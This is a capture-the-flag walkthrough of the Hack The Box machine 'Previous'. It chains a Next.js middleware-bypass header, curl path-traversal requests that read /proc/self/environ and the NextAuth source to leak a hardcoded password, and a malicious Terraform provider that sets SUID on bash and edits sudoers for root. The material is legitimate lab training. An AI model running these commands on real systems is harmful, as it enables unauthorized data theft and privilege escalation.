0% found this document useful (0 votes)
197 views1 page

Previous

The document details a penetration test on a Next.js application hosted at previous.htb, revealing a Local File Inclusion (LFI) vulnerability in the /api/download endpoint. This vulnerability allowed the attacker to access sensitive files, including environment variables and the NextAuth authentication logic, which contained hardcoded credentials. Ultimately, the attacker gained SSH access as the user 'jeremy' and identified a method to escalate privileges to root using Terraform configurations.

Uploaded by

petahil516
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
197 views1 page

Previous

The document details a penetration test on a Next.js application hosted at previous.htb, revealing a Local File Inclusion (LFI) vulnerability in the /api/download endpoint. This vulnerability allowed the attacker to access sensitive files, including environment variables and the NextAuth authentication logic, which contained hardcoded credentials. Ultimately, the attacker gained SSH access as the user 'jeremy' and identified a method to escalate privileges to root using Terraform configurations.

Uploaded by

petahil516
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Previous

Previous
https://app.hackthebox.com/machines/Previous

IP

10.10.11.83

Domain/Host

previous.htb

Nmap Results

Web Enumeartion
We enumerate hidden web directories

feroxbuster -u http://previous.htb/ -w /usr/share/seclists/Discovery/Web-


Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e

We fingerprint the web technologies

whatweb http://previous.htb

We found an email [email protected]

We check the website headers ✅

curl -I http://previous.htb/

Next.js is running

Node.js

This is an HTTP response header showing:

200 OK → request successful


nginx/1.18.0 (Ubuntu) → web server software
Next.js → app framework used (powered by Node.js)
ETag / Content-Length / Date → metadata for caching & response

Since it’s Next.js, it might be vulnerable to CVE-2025-29927 (PoC exists) depending on


the version/config.
https://github.com/alihussainzada/CVE-2025-29927-PoC/tree/main

X-Middleware-Subrequest:
src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:mi
ddleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Next.js CVE-2025-29927-PoC
1. We brute-force API endpoints (as described in the poc)

dirsearch -u http://previous.htb/api/ \
-w /usr/share/wordlists/dirb/common.txt \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"

We found the entpoint /api/download

Info

The /api/download endpoint is designed to let users download a file by passing its name
through the example parameter.
However, the application does not properly sanitize or restrict this parameter.
As a result, an attacker can abuse it with directory traversal sequences ( ../ ) to break
out of the intended folder and read sensitive system files (e.g., /proc/self/environ ,
/app/server.js ).
This effectively turns the endpoint into a Local File Inclusion ( LFI ) vulnerability,
exposing environment variables, source code, and other critical data.

We Fuzz the Download Endpoint to Identify the Correct Parameter

ffuf -u 'http://10.129.114.40/api/download?FUZZ=test' -w
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H 'Host:
previous.htb' -H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware' -r -mc all -fs $BL -

We got the Parameter example

We Confirm the Correct Parameter by Testing with Curl

curl -i 'http://10.129.114.40/api/download?example=test' \
-H 'Host: previous.htb' \
-H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware'

Info

We verified that the parameter example is responsible for file downloads. Supplying a
dummy value ( example=test ) no longer triggers a generic error, but returns
{"error":"File not found"} instead. This confirms that the server attempted to fetch
the file, proving the parameter can be abused for Local File Inclusion ( LFI )

Testing with an Invalid Parameter

curl -i 'http://10.129.114.40/api/download?blabla=test' \
-H 'Host: previous.htb' \
-H 'x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware'

Info

When testing with a random parameter such as blabla=test , the API responds with:

{"error":"Invalid filename"}

This behavior shows that the application does not recognize arbitrary parameters. Any
parameter other than the intended one will trigger the Invalid filename error.

In contrast, when using the correct parameter example , the response changes to
{"error":"File not found"} , which proves that the server actually attempted to fetch
the file.

2. Exploit path traversal to read environment variables

curl -s "http://previous.htb/api/download?
example=../../../../../../proc/self/environ" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware" \
| tr '\0' '\n'

We abused the example parameter with directory traversal to access /proc/self/environ


and leak environment variables

​Info
This output comes from /proc/self/environ and shows the environment variables of
the running Node.js process.
NODE_VERSION=18.20.8 → The application runs on Node.js v18.20.8
HOSTNAME=0.0.0.0 → The server is bound to all interfaces
YARN_VERSION=1.22.22 → Yarn package manager version
SHLVL=1 → Current shell level
PORT=3000 → The application listens on port 3000 internally
HOME=/home/nextjs → The home directory of the service user
PATH=... → Standard system path used for binaries
NEXT_TELEMETRY_DISABLED=1 → Next.js telemetry reporting is disabled
PWD=/app → Current working directory of the application
NODE_ENV=production → Application is running in production mode

Question

Why do we go for /proc/self/environ ?


When we discover a Local File Inclusion ( LFI ) or path traversal vulnerability, our first
instinct is to check for files that might contain credentials or sensitive runtime
information. While /etc/passwd is the classic proof-of-concept target (it confirms that
LFI works), it rarely contains useful secrets for exploitation.

Instead, /proc/self/environ is much more valuable because it holds the environment


variables of the current process. Modern applications (especially Node.js, Next.js ,
Python, PHP frameworks, etc.) heavily rely on environment variables to store secrets
such as database credentials, JWT secrets, API tokens, and admin passwords.

So, when we read /proc/self/environ , we directly leak the sensitive values the web
application is using at runtime. That’s why many writeups (and experienced attackers)
immediately test it—it’s part of the standard “LFI playbook.”

We first prove traversal, then grab secrets and app internals. As a PoC we read /etc/passwd ,
then we jump straight to runtime secrets via /proc/self/environ . From there we pull the
server bootstrap and Next.js build artifacts to uncover hidden routes (e.g., NextAuth).

Order (tiny):

1. /etc/passwd – PoC that LFI works.


2. /proc/self/environ – environment secrets (e.g., ADMIN_SECRET , NEXTAUTH_SECRET ).
3. /proc/self/cmdline – launch args/paths.
4. /app/server.js – server entry/config hints.
5. /app/.next/routes-manifest.json (and, if present)
/app/.next/server/pages/api/auth/%5B...nextauth%5D.js – hidden routes/auth logic.

One-liners (adjust host):

PoC

curl -s 'http://previous.htb/api/download?example=../../../../../../etc/passwd' -H
'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'

To enumerate more files inside the .next folder, we also used


Gobuster:

gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" \


-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
\ -H "X-Middleware-Subrequest:
middleware:middleware:middleware:middleware:middleware"

Info

This revealed the static/ and server/ directories inside the Next.js build, which
further guided our exploration.

Additionally, we cross-referenced the publicly available Next.js documentation to


understand what artifacts the next build process generates—particularly the .next
folder and the routes-manifest.json file, which lists all static and dynamic routes. This
confirmation comes straight from the official Deploying documentation: “Deploying |
Next.js”

https://nextjs.org/docs/13/app/building-your-application/deploying

3. Read server configuration

curl -s "http://previous.htb/api/download?example=../../../../../../app/server.js"
\
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"

We extracted /app/server.js to understand how the backend was configured.

​Info
This code is the Next.js server startup script ( server.js ) used in production.

It imports path , sets NODE_ENV=production , and changes the working directory to


/app .
Reads PORT (default 3000) and HOSTNAME (default 0.0.0.0 ).
Loads a large Next.js configuration object ( nextConfig ) defining build/output
( .next dir), routes, images, caching, etc.
Stores this config in the environment ( __NEXT_PRIVATE_STANDALONE_CONFIG ).
Finally, it calls startServer() from Next.js to boot the web application with the given
settings.

👉 In short: this file is the entry point that launches the Next.js production server with its
configuration.

4. Extract routing information


We downloaded the Next.js routes-manifest.json file which revealed the dynamic
authentication route.

curl -s "http://previous.htb/api/download?
example=../../../../../../app/.next/routes-manifest.json" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"

Info

This file is the routes-manifest.json from a Next.js application. It defines how the app
handles routing.

version: 3 → Manifest format version.


pages404: true → A custom 404 page exists.
redirects → Automatic redirects, e.g., /path/ → /path .
dynamicRoutes → Parameterized routes:
/api/auth/[...nextauth] → NextAuth authentication API endpoint.
/docs/[section] → Documentation section route with variable parameters.
staticRoutes → Fixed routes such as / , /docs , /signin , and docs subpages.
rsc → Configuration for React Server Components ( .rsc files, special headers).
rewriteHeaders → Internal headers used by Next.js for URL rewriting.

👉 In short: this manifest shows the routing structure of the application, including
hidden or dynamic endpoints like NextAuth and docs sections, which can be useful for
further enumeration.

5. Locate sensitive NextAuth source file


We accessed the NextAuth API file inside the .next/server/pages/api/auth/ directory.
Since the filename contains brackets, we URL-encoded it.

curl -s "http://previous.htb/api/download?
example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
-H "x-middleware-subrequest:
middleware:middleware:middleware:middleware:middleware"

"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>


{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-
server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",
{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in
n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?
n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",
{enumerable:!0,get:function(){return r}});var r=function(e){return
e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUT
E",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:
()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var
a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o=
{session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:
{username:{label:"User",type:"username"},password:
{label:"Password",type:"password"}},authorize:async
e=>e?.username==="jeremy"&&e.password===
(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?
{id:"1",name:"Jeremy"}:null})],pages:
{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-
auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new
a.PagesAPIRouteModule({definition:
{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth
]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-
runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

Note

It imports NextAuth ( require("next-auth") ) and the Credentials Provider.


Authentication strategy: JWT-based sessions.
Credentials provider setup:
Accepts username and password .
The authorize function checks:
If username === "jeremy" 🚨
And if password === process.env.ADMIN_SECRET OR the fallback string
"MyNameIsJeremyAndILovePancakes" . 🚨
If valid, it authenticates the user as Jeremy (id=1).
Custom sign-in page: /signin .
Secret key: NEXTAUTH_SECRET environment variable.

👉 In short: this file defines the NextAuth login logic. It reveals a hardcoded fallback
credential for the user jeremy, meaning anyone who knows
"MyNameIsJeremyAndILovePancakes" can log in if the environment variable ADMIN_SECRET
is not set.

Done

📝 Exploit Summary – Previous (HTB)


We identified that the target was running Next.js and discovered a vulnerable endpoint
/api/download .
This endpoint allowed path traversal, enabling us to read sensitive files from the server.

First, we leaked the environment variables, confirming the application ran in production
under /app .
Next, we accessed the server configuration file and the Next.js routing manifest, which
revealed hidden dynamic routes.
Among these, we found the NextAuth authentication route and managed to download its
compiled source file.

The file contained the authentication logic, which hardcoded a fallback credential for the
user jeremy.
With this knowledge, we successfully authenticated as jeremy and gained access to the
system.

User Flag
We connect via SSH as Jeremy
(PW= MyNameIsJeremyAndILovePancakes) 🔑

ssh [email protected]

We capture the user flag 🏴‍💻

cat /home/jeremy/user.txt

PRIVESC
We check our sudo privileges

sudo -l

We can run as root /usr/bin/terraform -chdir\=/opt/examples apply

We explore the examples directory 📁

cd /opt/examples && ls -al

We read the Terraform config

cat main.tf

Info

This is a Terraform configuration file ( main.tf ).

It defines a custom provider called examples hosted at


previous.htb/terraform/examples .
A variable source_path is declared with default value /root/examples/hello-
world.ts .
It has validation: must include /root/examples/ and cannot contain .. .
The provider examples is initialized.
A resource examples_example is created, which uses the source_path variable.
Finally, an output destination_path is defined, showing the destination path of the
resource.

👉 In short: this config forces Terraform to process files inside


/root/examples/ , which
can potentially be abused since jeremy can run Terraform as root.

We list contents of /opt 📂

ls -la /opt

In /opt we see a directory named terraform-provider-examples . This is the path


Terraform expects when searching for the provider previous.htb/terraform/examples .

Note

1. We create a fake provider script at /tmp/terraform-provider-examples that sets SUID


on /bin/bash , copies it to /tmp/rootbash , and adds our user to /etc/sudoers .
2. We make it executable with chmod +x /tmp/terraform-provider-examples .
3. We configure Terraform to load our provider by writing /tmp/terraform.rc with a
dev_overrides entry pointing to /tmp .
4. We set the config path: export TF_CLI_CONFIG_FILE=/tmp/terraform.rc .
5. We run Terraform as root with sudo /usr/bin/terraform -chdir=/opt/examples apply .
6. Terraform executes our malicious script as root, creating /tmp/rootbash .
7. We launch a root shell with /tmp/rootbash -p .

We prepare a malicious Terraform provider

cat > /tmp/terraform-provider-examples << 'EOF'


#!/bin/bash
# Malicious provider script
chmod +s /bin/bash
cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash
echo 'jeremy ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
echo '{"malicious": "provider"}'
EOF

chmod +x /tmp/terraform-provider-examples

export TF_CLI_CONFIG_FILE=/tmp/terraform.rc

cat > /tmp/terraform.rc << 'EOF'


provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/tmp"
}
direct {}
}
EOF

Info

We drop a fake provider script as /tmp/terraform-provider-examples that sets SUID


on /bin/bash , creates /tmp/rootbash , and adds jeremy to sudoers.
We mark it executable with chmod +x .
We write /tmp/terraform.rc with a dev_overrides rule pointing
previous.htb/terraform/examples to /tmp .
We export TF_CLI_CONFIG_FILE=/tmp/terraform.rc so Terraform loads our malicious
provider.

sudo /usr/bin/terraform -chdir=/opt/examples apply

sudo /usr/bin/terraform -chdir=/opt/examples apply

Info

Running sudo /usr/bin/terraform -chdir=/opt/examples apply forces Terraform to


load our overridden provider
Terraform executes /tmp/terraform-provider-examples with root privileges.
Our script runs, creating /tmp/rootbash (SUID binary) and adding jeremy to
sudoers.

We gain a root shell

/tmp/rootbash -p

We capture the root flag 🏴‍☠️🏆

cat /root/root.txt

1/1

You might also like